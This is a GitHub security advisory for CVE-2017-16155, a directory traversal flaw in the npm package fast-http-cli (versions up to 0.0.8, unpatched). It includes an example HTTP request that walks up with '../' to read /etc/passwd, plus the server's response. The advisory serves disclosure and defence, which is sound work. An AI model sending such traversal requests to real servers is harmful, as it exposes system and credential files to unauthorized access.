GitHub Advisoryadvisory · npm
GHSA-9frq-f867-hgqc Directory Traversal in fast-http-cli
HIGH
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- Aliases
- CVE-2017-16155
- Ecosystem
- npm
- Packages
- fast-http-cli
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2020-06-16
Affected packages
• npm fast-http-cli: <= 0.0.8 (no fix yet)
Description
`fast-http-cli` is the command line interface for `fast-http`, a simple web server.
`fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example request:
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
```
and server Response:
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
```
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Related
Alias · CVE (1)
- CVE-2017-16155 fast-http-cli is the command line interface for fast-http, a simple web server. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness